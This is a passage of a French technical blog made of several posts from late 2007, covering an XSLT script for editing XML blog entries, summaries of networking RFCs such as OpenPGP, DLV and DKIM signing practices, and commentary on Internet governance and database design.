En Europe, au Moyen Âge, et même longtemps après, l'écrasante majorité de la population était analphabète. Personne n'a prétendu que c'était une tradition culturelle à respecter et à maintenir. Bien au contraire, des mesures actives ont été prises pour permettre à tous de maitriser l'écrit. Ce sont les mêmes mesures qu'il faut prendre aujourd'hui en Afrique.

Pour revenir à Internet, Titi Akinsanmi va jusqu'à prétendre qu'il faudrait développer les protocoles non-texte, comme les services audio ou vidéo. Ce sont justement ceux qui consomment le plus de bande passante, une ressource déjà rare en Afrique. Alors qu'il déplore le sous-équipement informatique de l'Afrique, il propose ensuite d'aggraver le problème en utilisant la vidéo plutôt que le courrier électronique. Voilà à quels paradoxes mène cette croyance rétrograde dans une soi-disant prédisposition des Africains pour l'oral.


L'article seul

Transformer un document XML avec XSLT

Première rédaction de cet article le 24 novembre 2007
Dernière mise à jour le 26 février 2010


Un des avantages de XML est qu'on a à sa disposition de nombreux outils tout faits pour éditer les documents, sans avoir besoin de savoir écrire des one-liners en Perl. Par exemple, pour adapter les liens de mon blog vers Wikipédia, je peux me contenter d'un simple script XSLT.

Le problème était le suivant : les articles de ce blog sont écrits en XML. Ils comprennent souvent des liens vers Wikipédia qui ont la forme suivante :


<wikipedia>DNS</wikipedia >

mais le sigle DNS est trop fréquent et ne pointe pas forcément vers le protocole réseau qui m'intéresse mais vers une page d'homonymie. Je dois donc modifier tous les liens vers le DNS (et il y en a beaucoup) pour lever l'ambiguïté :


<wikipedia name="Domain Name System">DNS</wikipedia >

C'est évidemment trop pénible à la main, il faut programmer. Un utilisateur Unix expérimenté penserait toute de suite à sed mais cet outil ne connait pas la syntaxe XML et risquerait de changer trop de texte, par manque de prise en compte du contexte. Un script dans un langage de programmation classique serait déjà meilleur mais XSLT est souvent plus simple.

Voici un script XSLT qui copie tous les élements XML sauf ceux nommés <wikipedia>. Pour ces derniers, il regarde si leur contenu (fonction text()) est l'ancien nom et, si oui, il produit un nouvel élément ayant l'attribut name avec la nouvelle valeur :


  <xsl:output method="xml" encoding="ISO-8859-1" 
    cdata-section-elements="code" /> <!-- On peut mettre plusieurs noms d'éléments
                                     ici, séparés par des espaces. -->

  <xsl:param name="old">No value for old</xsl:param>
  <xsl:param name="new">No value for new</xsl:param>

  <!-- Utiliser la contrainte "[text() = $old]" serait plus propre (et
  éviterait le <xsl:choose>) mais les contraintes n'acceptent pas les
  variables :-( -->
  <xsl:template match="wikipedia">
    <xsl:choose>
      <xsl:when test="text()=$old">
        <wikipedia><xsl:attribute name="name"><xsl:value-of select="$new"/></xsl:attribute><xsl:value-of select="$old"/></wikipedia>
      </xsl:when>
      <xsl:otherwise>
        <xsl:copy> 
          <xsl:apply-templates select="node()|@*"/>
        </xsl:copy>        
      </xsl:otherwise>
    </xsl:choose>
  </xsl:template>

  <xsl:template match="node()|@*">
    <xsl:copy> 
      <xsl:apply-templates select="node()|@*"/>
    </xsl:copy>
  </xsl:template>

La dernière règle s'occupe de copier tous les autres éléments.

Le script peut se lancer ainsi (avec l'intepréteur XSLT xsltproc) :

% xsltproc --stringparam old DNS --stringparam new "Domain Name System" update-wp.xslt document.xml 

mais j'utilise plutôt un petit script shell qui s'occupe des détails, comme de copier le nouveau fichier :

#!/bin/sh

set -e

oldtext=$1
newtext=$2

blog=$HOME/Blog

if [ -z "$3" ]; then
    echo "Usage: $0 old-text new-text xml-fileS" > /dev/stderr
    exit 1
fi
shift
shift

temp=`mktemp`
for file in $*; do
    xsltproc --stringparam old "$oldtext" --stringparam new "$newtext" \
	${blog}/schemas/update-wp.xsl \
	$file > $temp
    cp $temp $file
    echo "$file updated, remember to darcs record"
done
rm -f $temp

Il reste deux problèmes dans ce script XSLT :

  • Ce script change la base des entités numériques (comme &#x153;). J'écris en base 16 et xsltproc me produit de la base 10.
  • les entités dans la déclaration ne sont pas gardées. Je m'en sers pour garantir l'homogénéité de certains mots, par exemple : <!ENTITY any "<foreign>anycast</foreign>">. Et ainsi, je suis sûr que &any; sera toujours l'élément <foreign>. Mais xsltproc supprime la définition de l'entité et fait l'expansion partout, ce qui m'interdit de changer la définition par la suite.

Ce sont des problèmes fondamentaux de XSLT, car ce dernier ne voit que l'infoset, pas le fichier texte original (en tout cas de la version 1 de XSLT, il est possible que la 2 aide sur ce problème). Pour la même raison, on ne peut pas écrire un pretty printer XML en XSLT.

Finalement, j'ai donc, pour ce blog, adopté une autre solution qui repose sur un bricolage avec les expressions rationnelles.

Merci à Stéphane Bonhomme pour son aide lors de la mise au point du script XSLT et à Julian Reschke pour ses explications.


L'article seul

RFC 4880: OpenPGP Message Format

Date de publication du RFC : Novembre 2007
Auteur(s) du RFC : J. Callas (PGP Corporation), L. Donnerhacke (IKS), H. Finney (PGP Corporation), D. Shaw, R. Thayer
Chemin des normes
Première rédaction de cet article le 22 novembre 2007


Le logiciel PGP est synonyme de cryptographie pour beaucoup de gens. Un des plus anciens et des plus utilisés pour les fonctions de confidentialité mais aussi d'authentification, PGP est très célèbre mais on sait peu que ses messages sont normalisés, dans ce RFC.

PGP a vu son format de données normalisé pour la première fois en août 1996, dans le RFC 1991. Cette norme a été révisée par la suite, dans le RFC 2440 et notre RFC est la dernière version.

Cette normalisation permet à diverses mises en œuvre de PGP d'interopérer. La plus connue aujourd'hui est la seule libre, GNU Privacy Guard (qui n'existait pas encore au moment de la publication du premier RFC). Il ne faut donc plus confondre le logiciel PGP, écrit à l'origine par Phil Zimmermann, et qui est non-libre, avec le format PGP que décrit notre RFC et que des logiciels autres que PGP peuvent lire ét écrire.

Le principe du chiffrement avec PGP est simple. Une clé de session (le terme est impropre puisqu'il n'y a pas de session au sens de TLS mais c'est celui utilisé par le RFC) est créée pour chaque destinataire, elle sert à chiffrer le message et cette clé est chiffrée avec la clé publique du destinataire (section 2.1 du RFC).

Pour l'authentification, c'est aussi simple conceptuellement. Le message est résumé et le résumé est chiffré avec la clé privée de l'émetteur (section 2.2 du RFC).

Le format PGP permet également la compression (qui améliore la sécurité en supprimant les redondances) et l'encodage en Base64 (RFC 4648), baptisé ASCII armor, pour passer à travers des logiciels qui n'aiment pas le binaire (la section 6 détaille cet encodage).

La section 3 explique les éléments de base utilisés par le format PGP. L'un des plus importants est le concept d'entier de grande précision (MPI pour Multi-Precision Integers), qui permet de représenter des entiers de très grande taille, indispensables à la cryptographie, sous forme d'un doublet longueur + valeur.

Enfin les sections 4 et 5 expliquent le format lui-même. Un message PGP est constitué de paquets (rien à voir avec les paquets réseau). Chaque paquet a un type, une longueur et un contenu. Par exemple, un paquet de type 1 est une clé de session chiffrée, un paquet de type 2 une signature, un paquet de type 9 du contenu chiffré, etc.

La section 7 du RFC décrit un type de message un peu particulier, qui n'obéit pas à la syntaxe ci-dessus, les messages en clair mais signés. Ces messages ont l'avantage de pouvoir être lus sans avoir de logiciel PGP. Ils nécessitent donc des règles spéciales.

On notera que gpg permet d'afficher les paquets présents dans un message PGP, ce qui est pratique pour l'apprentissage ou le déboguage. Voyons un exemple avec un fichier test.txt de 35 octets, signé mais non chiffré :

% gpg --list-packets test.gpg 
:compressed packet: algo=1
:onepass_sig packet: keyid 4136479797D6D246
        version 3, sigclass 00, digest 2, pubkey 17, last=1
:literal data packet:
        mode b (62), created 1191502517, name="test.txt",
        raw data: 35 bytes
:signature packet: algo 17, keyid 4136479797D6D246
        version 3, created 1191502517, md5len 5, sigclass 00
        digest algo 2, begin of digest 0d e4
        data: [159 bits]
        data: [158 bits]

Malheuresement, gpg n'affiche pas les valeurs numériques des types, telles que listées par le RFC. Mais les noms qu'il utilise sont les mêmes que dans le RFC, on peut donc facilement trouver la section qui explique ce qu'est un "onepass_sig packet".

Avec un message chiffré, on obtient :

% gpg --list-packets test.txt.gpg
:pubkey enc packet: version 3, algo 16, keyid F3A0253D6C2A95F9
        data: [1022 bits]
        data: [1023 bits]
:pubkey enc packet: version 3, algo 16, keyid C0FE90B0F08F74D7
        data: [2044 bits]
        data: [2048 bits]

You need a passphrase to unlock the secret key for
user: "Stephane Bortzmeyer (Personl address) <stephane@bortzmeyer.org>"
2048-bit ELG-E key, ID F08F74D7, created 2000-03-31 (main key ID 97D6D246)

:encrypted data packet:
        length: 102
        mdc_method: 2
gpg: encrypted with 1024-bit ELG-E key, ID 6C2A95F9, created 2005-02-18
      "Kim Minh Kaplan <kaplan@kim-minh.com>"
gpg: encrypted with 2048-bit ELG-E key, ID F08F74D7, created 2000-03-31
      "Stephane Bortzmeyer (Personl address) <stephane@bortzmeyer.org>"
:compressed packet: algo=2
:literal data packet:
        mode b (62), created 1191502765, name="test.txt",
        raw data: 35 bytes

On notera que c'est après l'affichage des premiers paquets que gpg demande la phrase de passe pour lire la clé privée. En effet, les premiers paquets ne sont pas chiffrés, puisqu'ils indiquent la clé à utiliser pour déchiffrer le reste (PGP a une option pour masquer ces paquets, cf. section 5.1).

Malheureusement, notre RFC n'indique pas clairement les changements par rapport à la version précédente, le RFC 2440. Mais les changements ne sont pas radicaux, la version reste la même. Les principaux ajouts sont les suivants :

  • Le précédent RFC contenait une note de l'IESG expliquant qu'il n'y avait pas de mécanisme d'extension, par exemple pour ajouter de nouveaux types ou sous-types de paquets. Ce n'est plus le cas et la section 10 détaille comment demander à l'IANA d'ajouter de nouveaux paramètres.
  • Il y a moins de support des vieilles versions de PGP (l'obligation de les accepter est passée de MUST à SHOULD, cf. RFC 2119.)
  • Il y a de nouveaux types de paquet comme le paquet User Attributes, plus riche que le paquet User ID, avec notamment la possibilité d'ajouter des images.
  • Un nouveau format de compression est ajouté, bzip2.
  • La section 14 (analyse de sécurité) est bien plus détaillée, avec description des attaques possibles.
  • Parmi les nouvelles options, les signatures peuvent désormais être marquées comme confirmées par un tiers de confiance, via les Third-Party Confirmation signature.

Téléchargez le RFC 4880


L'article seul

RFC 5050: Bundle Protocol Specification

Date de publication du RFC : Novembre 2007
Auteur(s) du RFC : K. Scott (Mitre), S. Burleigh (NASA Jet Propulsion Laboratory)
Expérimental
Première rédaction de cet article le 19 novembre 2007
Dernière mise à jour le 20 novembre 2007


Première incarnation du travail sur les réseaux à forte latence (RFC 4838), voici le protocole « Bundle », pour communiquer avec un vaisseau spatial en route pour Jupiter...

Conçu pour des réseaux difficiles, à très forte latence, avec des connectivités très intermittentes, Bundle ne doit pas grand'chose à TCP/IP et ressemble d'avantage à UUCP. Un bundle (avec un petit b) est un paquet de notre protocole (il a par exemple l'équivalent d'un en-tête, décrit dans la section 4.2). Il est transmis de machine en machine, chaque machine en acceptant la garde et le stockant pour un temps indéterminé, avant de le passer à la machine suivante. (Les bundles sont composés de plusieurs blocs et ce sont en fait les blocs qui sont transmis, mais c'est un détail.)

La transmission se fait avec des protocoles des couches inférieures comme le LTP présenté dans le RFC 5325.

Ce concept de garde (custody) est essentiel dans Bundle et évoque le courrier électronique où, avant l'explosion du spam, un serveur de messagerie avait pour principe de ne jamais jeter un message dont il avait accepté la garde : « distribuer ou signaler (la non-distribution) ».

Bundle fonctionne au niveau Applications. À l'intérieur de chaque réseau (le RFC dit « internet » avec un petit i, mais je trouve le risque de confusion avec l'Internet trop grand), Bundle utilise les protocoles de transport et de routage de ce réseau (la section 7 détaille les propriétés que doit avoir la mince couche logicielle qui connecte Bundle à ces protocoles).

Le format des bundles est décrit dans la section 4 (il sera ensuite normalisé de manière plus rigoureuse dans le RFC 6256). Il ressemble au BER d'ASN.1. Les valeurs ne sont pas étiquetées avec leur longueur, leur fin est détectée lorsque le bit de plus fort poids devient zéro.

La section 5 décrit le traitement des bundles, par exemple leur expiration lorsqu'ils n'ont pas pu être transmis dans le délai imparti.

La section 6 est consacrée aux messages « administratifs », l'équivalent d'ICMP dans le monde IP. Transmis par le même protocole Bundle, ils permettent de signaler qu'un bundle a été transmis, qu'il a été déposé à sa destination finale, etc.

Une première mise en œuvre du protocole Bundle a été developpée et se trouve en http://masaka.cs.ohiou.edu/ocp/bundling.html. Une autre est ION, accessible en http://www.dtnrg.org/wiki/Code.


Téléchargez le RFC 5050


L'article seul

L'IGF à Rio et les deux sortes de questions que pose la gouvernance de l'Internet

Première rédaction de cet article le 16 novembre 2007


Le Forum de la Gouvernance de l'Internet vient de se tenir à Rio de Janeiro et, comme d'habitude, on a beaucoup parlé. Quelles étaient les questions posées ?

Le Forum a été très confus, des tas de sujets sont passés dans tous les sens, la plupart très obscurs, même pour l'initié (une prime au nouveau concept de post-multistakeholderism que n'auraient pas renié Derrida ou Foucault). Dans un modeste effort pour apporter une contribution au débat, je propose de classer les questions posées en deux catégories, en empruntant et en déformant une terminologie de Michel de Pracontal : il y a les vraies questions et les bonnes questions.

Les vraies questions sont celles qui sont importantes, qui comptent, qui façonnent notre avenir. Le multilinguisme, l'accès aux NTIC pour tous, notamment dans les pays pauvres, la liberté d'expression, etc. Elles sont importantes, vitales, même, mais ne peuvent pas être résolues, en tout cas pas à court terme, et surtout pas par un organisme de discussion comme le FGI. Et, surtout, elles ne nécessitent pas forcément de décisions au niveau international. Pour le multilinguisme, par exemple, à part le point très particulier des IDN dans la racine du DNS, l'effort essentiel est à faire au niveau local ou régional. Ni l'ICANN, ni l'IETF, ni l'UNESCO ne peuvent faire grand'chose pour accelérer ou retarder le dévelopement du multilinguisme (qui dépend plutôt d'actions concrètes).

Et il y a les bonnes questions. Ce sont celles qui ont objectivement beaucoup moins d'importance (l'utilisateur de base se moque probablement de savoir si AfriNIC alloue au minimum des /22 ou des /21) mais ce sont celles sur lesquelles on peut avancer concrètement, celles sur lesquelles le mot « gouvernance » peut avoir un autre sens que « bla-bla ».

En effet, une autre caractéristiques des bonnes questions est qu'elles sont obligatoires. On ne peut pas ne pas y répondre. Quelqu'un doit gérer la racine (cf. RFC 2826). Quelqu'un doit attribuer les adresses IP pour qu'elles restent uniques. Il est amusant que, pendant le FGI, les représentants de l'ICANN répétaient tout le temps qu'il fallait s'intéresser aux questions d'accès, sur lesquelles l'ICANN ne fait rien, plutôt qu'à « des disputes mesquines sur la gestion des ressources techniques », justement ce que l'ICANN contrôle. Ce sont toujours les gens au pouvoir qui disent que le pouvoir n'est pas si important et qu'on ne devrait pas se focaliser sur le pouvoir, qu'on devrait voir plus largement.

Inversement, certains gouvernements, comme le chinois, étaient ravis de se focaliser sur la gestion de la racine, pour faire oublier leur triste bilan, par exemple en matière de liberté d'expression.

Bref, l'avenir de la gouvernance de l'Internet nécessite un équilibre entre les vraies questions, dont il ne faut jamais oublier qu'elles sont les plus importantes, et les bonnes questions, sur lesquelles on peut agir à court terme. Félicitons le ministre de la culture brésilien, Gilberto Gil, pour avoir rappelé à plusieurs reprises que l'Internet étant international, il ne devrait pas, pour aucun de ses aspects, dépendre d'un seul pays.


L'article seul

RFC 5081: Using OpenPGP Keys for Transport Layer Security (TLS) Authentication

Date de publication du RFC : Novembre 2007
Auteur(s) du RFC : N. Mavrogiannopoulos
Expérimental
Première rédaction de cet article le 16 novembre 2007


Le protocole TLS, permettant de chiffrer et d'authentifier des communications sur Internet n'a toujours utilisé qu'un seul type de certificats, ceux à la norme X.509. Désormais, on peut aussi se servir de clés PGP. (Ce RFC a depuis été mis à jour dans le RFC 6091.)

Pour authentifier l'autre partie, lors d'une communication TLS (utilisée par exemple avec HTTP ou bien avec SMTP), on doit signer ses messages avec sa clé privée. Le correspondant doit connaitre la clé publique pour vérifier cette signature. Avec l'ancien protocole SSL et avec son successeur TLS (normalisé dans le RFC 5246), cela se faisait en présentant un certificat X.509. X.509 a plusieurs limites, notamment le fait qu'il dépende d'une autorité de certification. Tout le monde n'a pas envie de payer une telle autorité, pour un gain de sécurité contestable. Il était donc important d'avoir une alternative.

Même si celle-ci n'a pas été tout de suite standardisée par l'IETF (ce RFC n'a que le statut « expérimental », c'est son successeur, le RFC 6091 qui aura fait évoluer le statut), elle est déjà mise en œuvre dans GnuTLS (pour l'instant, le seul logiciel à le faire).

Techniquement, notre RFC dépend du mécanisme d'extension TLS spécifié dans le RFC 5246. Ces extensions permettent d'annoncer le type de certificat utilisé, et donc de choisir X.509 ou bien PGP (PGP est normalisé dans le RFC 4880). Le RFC précise que ces extensions ne doivent pas être utilisées si on ne gère que des certificats X.509, pour interopérer plus facilement avec les vieilles implémentations.

La clé PGP est envoyée encodée en binaire, ou bien peut être récupérée sur le réseau, si celui qui veut s'authentifier indique uniquement l'empreinte de la clé (de la même façon qu'un certificat X.509 peut être récupéré sur le réseau, si celui qui veut s'authentifier indique l'URL de son certificat).


Téléchargez le RFC 5081


L'article seul

« It's time for a complete rewrite » des SGBD ?

Première rédaction de cet article le 15 novembre 2007


Faut-il abandonner les moteurs de bases de données relationnelles, qui ont été au cœur de l'informatique depuis des dizaines d'années ? Oui, disent sans hésiter les auteurs de cet article, parmi lesquels Michael Stonebraker, un pionnier du domaine et un des responsables du projet qui a donné PostgreSQL.

Les SGBD relationnels sont partout. Initialement très chers, réservés aux mainframes et limités à l'informatique de gestion, ils sont présents désormais derrière presque chaque Blog, chaque site Web. Peu de sites Unix n'en ont pas. Mais il est temps de les jeter, disent Stonebraker et ses collègues, dans un article au titre qui réveille «  The end of an Architectural Era (it's Time for a Complete Rewrite) ».

Que disent-ils ? Que les SGBD actuels sont trop généralistes et qu'on pourrait gagner beaucoup en performances en se limitant à des secteurs spécialisés. Par exemple, une grande force de SQL est la possibilité d'écrire des requêtes qui n'avaient pas été prévues lors de la création de la base, par exemple à des fins de data mining. Mais cette possibilité coûte cher alors que beaucoup de bases fonctionnent au contraire en OLTP où les requêtes sont connues à l'avance. Un exemple d'environnement OLTP est un site Web de commerce électronique où les requêtes sont codées dans l'application, donc prévisibles. Ne pourrait-on pas optimiser pour cette utilisation OLTP, laissant un autre modèle de base de données répondre aux questions ouvertes ? On le peut, montrent les auteurs, qui annoncent un facteur 80 de gain de performances, avec la base qu'ils ont créé, H-store.

De même, la concurrence entre deux sessions simultanées coûte cher. Dans un environnement OLTP typique, les transactions sont courtes, alors pourquoi ne pas les traiter en série plutôt qu'en parallèle, éliminant ainsi une grande part de la complexité du SGBD ?

Stonebraker et ses collègues ont plein d'autres idées. Par exemple généraliser les procédures stockées (pour lesquelles ils envisagent Ruby) afin d'éviter les allers-retours entre le client et le serveur. Ou préférer des réseaux de machines pas chères ne partageant pas de ressources à des gros serveurs multi-processeurs, un peu ce que fait Google avec MapReduce. Je vous laisse les découvrir dans l'article. Personnellement, j'apprécie beaucoup la souplesse de SQL et j'espère qu'on me laissera toujours écrire des requêtes SQL compliquées comme dans l'exemple dont les auteurs de moquent, « Quels sont les employés qui gagnent plus que leur supérieur ? », en laissant entendre que les exercices SQL classiques de l'enseignement ne se rencontrent jamais dans la réalité.

On peut suivre le débat dans plusieurs articles publiés dans le blog The database column (merci à Erwan Azur pour le lien).


L'article seul

RFC 3107: Carrying Label Information in BGP-4

Date de publication du RFC : Mai 2001
Auteur(s) du RFC : Y. Rekhter, E. Rosen
Chemin des normes
Première rédaction de cet article le 15 novembre 2007


Le protocole MPLS fonctionne via des labels, que les routeurs utilisent pour aiguiller les paquets vers la bonne sortie. Ces labels peuvent être distribués par plusieurs protocoles, dont BGP, pour lequel les détails sont décrits dans ce RFC.

Le principe de MPLS (décrit dans le RFC 3031) est de faire prendre par les routeurs des décisions d'aiguillage très vite, sans appliquer l'algorithme du plus long préfixe IP, en ne regardant qu'un court label. Mais comment un routeur MPLS (on dit un LSR) sait-il quel label correspond à quelle destination ? Parce que les autres LSR lui ont dit. Ils peuvent le faire par plusieurs protocoles. Le plus connu est LDP, normalisé dans le RFC 5036. Mais on peut aussi réutiliser BGP, l'inusable protocole de routage, dont le RFC 4760 décrit l'utilisation en contexte multi-protocoles. Cette utilisation est particulièrement intéressante si deux LSR font déjà tourner BGP entre eux.

Armé de cette extension à BGP, notre court RFC n'a plus grand'chose à spécifier : un LSR qui veut distribuer des labels MPLS les met dans un attribut BGP, décrit dans la section 3, chaque label étant associé à un préfixe IP. Le label sera alors toujours transmis avec le préfixe. (Le LSR doit aussi prévenir le LSR adjacent de cette capacité, ce que décrit la section 5).


Téléchargez le RFC 3107


L'article seul

RFC 2663: IP Network Address Translator (NAT) Terminology and Considerations

Date de publication du RFC : Août 1999
Auteur(s) du RFC : Pyda Srisuresh (Lucent Technologies), Matt Holdrege (Lucent Technologiesv)
Pour information
Première rédaction de cet article le 15 novembre 2007


Ce RFC semble être le premier à avoir parlé du NAT et à avoir tenté de le définir, de lister ses propriétés, et de proposer un vocabulaire standard.

Le déploiement du NAT, à partir de la fin des années 1990, était largement dû à l'épuisement des adresses IPv4 et à la difficulté d'en obtenir suffisamment. Mais ce déploiement s'est fait en dehors de l'IETF, sans standardisation, sans description rigoureuse des fonctions effectuées par le routeur NAT. Plusieurs protocoles IETF ne pouvant pas passer certains NAT (cf. RFC 3027), plusieurs RFC ont été écrits pour proposer des solutions, et, avant tout, pour bien définir le problème.

Il existe deux grandes terminologies (qui se recouvrent partiellement) : celle de STUN (RFC 3489) bâtie sur la notion de cône (le NAT fait correspondre un large pool d'adresses vers un pool plus petit, d'où l'image du cône), et une terminologie qui semble s'être imposée, celle de notre RFC, qui a été ultérieurement reprise et étendue par le groupe Behave, par exemple dans le RFC 4787.

C'est donc notre RFC qui définit, dans sa section 4, des termes comme :

  • Basic NAT qui ne travaille que sur les adresses IP,
  • NAPT, qui travaille aussi sur les numéros de port,
  • etc.

Je recommande, si on veut une bonne introduction aux problèmes posés par le NAT, l'excellent article Peer-to-Peer Communication Across Network Address Translators.


Téléchargez le RFC 2663


L'article seul

RFC 5074: DNSSEC Lookaside Validation (DLV)

Date de publication du RFC : Novembre 2007
Auteur(s) du RFC : S. Weiler (Sparta)
Pour information
Première rédaction de cet article le 14 novembre 2007
Dernière mise à jour le 18 septembre 2008


DLV (DNSSEC Lookaside Validation) est une technique apparemment simple, qui résoud élégamment un nœud gordien, mais qui a suscité de très chauds débats, pour des raisons politiques. DLV vise en effet à résoudre un problème de fond de DNSSEC, la signature de la racine.

En effet, avec DNSSEC tel qu'il est spécifié dans le RFC 4033, le résolveur qui tente de vérifier un domaine doit partir de la racine, si elle est signée, ou bien connaitre un ensemble de points de départ, les trust anchors, qui sont les clés publiques des registres qui signent certaines zones. En l'absence d'une racine signée, c'est cette seconde solution que j'ai utilisée pour mes tests du résolveur Unbound.

Signer la racine est trivial techniquement (l'IANA l'a déjà fait) mais très compliqué politiquement. Il faut trouver un signataire légitime (et des sommets internationaux entiers ont été consacrés au problème d'une autorité légitime pour la racine) et il faut que ce signataire soit prêt à s'engager sérieusement puisque qu'une fois que les résolveurs testent la signature, on ne peut plus revenir en arrière.

DLV résoud donc le problème en permettant aux racines de signature (comme celle de l'ISC) d'être distinctes de la racine du DNS. Ainsi, pour vérifier la signature de parano.example, un résolveur DNSSEC avec support DLV, pourra allez chercher les signatures dans, par exemple, parano.example.dlv.isc.org. DLV utilise les enregistrements DNS de type DLV, décrits dans le RFC 4431.

La section 7 du RFC est consacrée à un problème difficile. Avec DLV, contrairement au DNSSEC classique, plusieurs « racines » peuvent signer un même domaine. On peut avoir par exemple une racine DLV qui signe .org et une autre qui signe example.org. Laquelle utiliser dans le cas de tels recouvrements ? La solution choisie est de ne pas choisir : le résolveur DLV peut utiliser l'algorithme qu'il veut, le plus simple étant décrit comme « choisir la racine la plus spécifique » (celle de example.org dans notre exemple). La section 7 décrit d'autres algorithmes et recommande que le résolveur propose un choix à l'utilisateur.

DLV fournit donc désormais une alternative à la longue attente d'une signature officielle de la racine. Cette alternative a semblé trop simple à certains et beaucoup d'objections ont été levées contre DLV, accusé notamment de retarder la « vraie », la « bonne » solution de signer la racine. Pour citer Paul Vixie, un grand défenseur de DLV, on peut dire que ces objections reviennent à empêcher des adultes consentants d'expérimenter une idée intéressante et qui ne fait de mal à personne. À noter que l'IAB a publié un communiqué qui, après pas mal de détours, accepte l'idée de DLV.

L'ISC a une note technique, 2006-01 sur le sujet de DLV. DLV est implémenté dans le résolveur de BIND depuis plusieurs versions (mais malheureusement pas dans d'autres résolveurs comme Unbound. Il se configure ainsi (une documentation détaillée est en https://secure.isc.org/index.pl?/ops/dlv/) :

// À l'intérieur du bloc "options"
dnssec-enable yes;
dnssec-validation yes;
dnssec-lookaside . trust-anchor dlv.isc.org.; 

À partir de là, on peut valider un domaine qui est enregistré dans le registre DLV de l'ISC, même si on n'a pas de trust anchor. Prenons par exemple sources.org :


% dig +dnssec MX sources.org.               

; <<>> DiG 9.5.0-P2 <<>> +dnssec MX sources.org.
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 15559
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1
                   ^^
>>>>               Authentic Data, donc validées par DNSSEC

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 4096
;; QUESTION SECTION:
;sources.org.                   IN      MX

;; ANSWER SECTION:
sources.org.            86400   IN      MX      10 uucp.bortzmeyer.org.
...

Autre solution pour tester si son résolveur utilise bien le registre DLV de l'ISC : https://www.dns-oarc.net/oarc/services/dlvtest. Par exemple :


% dig +dnssec a.nsec.dlvtest.dns-oarc.net txt


; <<>> DiG 9.5.1-P3 <<>> +dnssec a.nsec.dlvtest.dns-oarc.net txt
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56042
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1
...

Cet essai a bien fonctionné, on a bien le 'ad'.


Téléchargez le RFC 5074


L'article seul

RFC 5016: Requirements for a DomainKeys Identified Mail (DKIM) Signing Practices Protocol

Date de publication du RFC : Octobre 2007
Auteur(s) du RFC : M. Thomas (Cisco)
Pour information
Première rédaction de cet article le 11 novembre 2007
Dernière mise à jour le 24 août 2009


Le protocole DKIM de signature des courriers électroniques a une limite. Tant que tout le monde ne signe pas, on ne peut pas savoir si l'absence de signature est volontaire ou bien est la conséquence d'une fraude. Le protocole SSP (Signing Practices Protocol) doit permettre de résoudre ce problème.

DKIM, normalisé dans le RFC 6376, normalise un mécanisme pour insérer des signatures cryptographiques dans un courrier électronique, de façon à en prouver l'authenticité. Mais le déploiement de DKIM ne sera pas instantané et n'atteindra peut-être jamais 100 % des serveurs de messagerie. Si un message arrive sans signature, est-ce normal car ce domaine ne signe pas, ou bien est-ce une fraude ? Impossible de le savoir sans connaitre les pratiques de signature du domaine. Par exemple cisco.com signe tous ses messages. Mais on ne peut pas connaitre les pratiques de tous les domaines de l'Internet. Il faut donc un protocole pour récupérer cette information, SSP, dont ce RFC donne le cahier des charges.

Le principe de SSP est de fournir un moyen permettant à un MTA de décider, lorsque le message n'est pas signé, si cela est suspect ou non. Si SSP indique que example.net signe toujours et qu'un message prétendant venir de dupont@example.net n'est pas signé, le récepteur pourra donc légitimement le traiter avec une extrême suspicion.

La section 3 du RFC donne divers scénarios d'usage, et la section 4 se penche sur les problèmes de déploiement, un problème difficile pour toutes les nouvelles technologies. Ainsi, la section 4.2 rappelle que le gérant d'un domaine peut avoir envie de couvrir également les sous-domaines (autrement, le méchant qui veut faire croire que son domaine est example.net n'aurait qu'à envoyer depuis staff.example.net), la section 4.5 insiste sur les questions de performance, etc..

La section 5 attaque les exigences proprement dites. Je ne vais pas les énumérer ici, mais seulement donner quelques exemples :

  • 5.1 (4) reprend le scénario d'une attaque sur un sous-domaine et demande que SSP permette de couvrir les sous-domaines (on note que cela permettrait au gérant de .com de définir une politique pour example.com...).
  • 5.2 (3) exige que la charge entrainée par les requêtes SSP soit bornée (SPF, normalisé dans le RFC 4408, avait été critiqué car son langage, très puissant, permettait d'exprimer des politiques complètes qui auraient pu mener à une avalanche de requêtes DNS à chaque message reçu).
  • 5.3 (5) veut que la syntaxe des messages soit compréhensible par un humain et dit, par exemple, que p=unknown est préférable à p=? (là encore, SPF est sans doute visé, ses enregistrements étant parfois cryptiques).
  • 5.3 (9) exige que l'appel à SSP soit facultatif, si la signature DKIM est présente et correcte.

SSP a finalement été spécifié dans le RFC 5617, qui utilise le DNS pour récupérer des politiques ressemblant, pour un domaine qui signe tout et garantit que ces signatures ne sont pas invalidés en cours de route, à dkim=discardable.


Téléchargez le RFC 5016


L'article seul

RFC 5068: Email Submission Operations: Access and Accountability Requirements

Date de publication du RFC : Novembre 2007
Auteur(s) du RFC : C. Hutzler (AOL), D. Crocker (Brandenburg InternetWorking), P. Resnick (Qualcomm), E. Allman (sendmail), T. Finch (University of Cambridge)
Première rédaction de cet article le 8 novembre 2007


Un court RFC qui s'inscrit dans le contexte de la lutte contre le spam et qui donne quelques règles sur les pratiques à suivre lors de la soumission originale du message.

Ce RFC est un exemple de la capacité de l'IETF à gérer les mauvaises idées. Il a commencé comme un Internet-Draft très virulent, reflétant largement les idées d'AOL sur la nécessité de réduire le marché des FAI à un cartel de gros opérateurs, réglant les questions de spam entre eux. Peu à peu vidé de sa substance au fur et à mesure des itérations, il ne reste qu'un court RFC qui se limite à des bonnes pratiques de soumission du courrier, laissant de côté le devenir ultérieur du message. Des idées très contestables, mais cohérentes avec la vision AOL d'un Internet séparant nettement les opérateurs et les simples consommateurs, ont été écartées, par exemple le blocage du port SMTP en sortie, qui n'est plus mentionné qu'en passant.

La seule vraie règle (déjà présente dans le RFC 4409) est la forte recommandation qu'un MSA authentifie les soumissions de courrier, par exemple via TLS ou bien via SASL (cf. RFC 4954).

Un article détaille comment configurer Postfix pour une telle authentification et donc respecter ces bonnes pratiques.


Téléchargez le RFC 5068


L'article seul

Namazu, indexation de texte (mais pas au point)

Première rédaction de cet article le 6 novembre 2007


Cela fait longtemps que je me dis que je devrais indexer les giga-octets de textes ou de programmes qui occupent mon disque dur. Je viens de tester Namazu, mais qui ne convient pas.

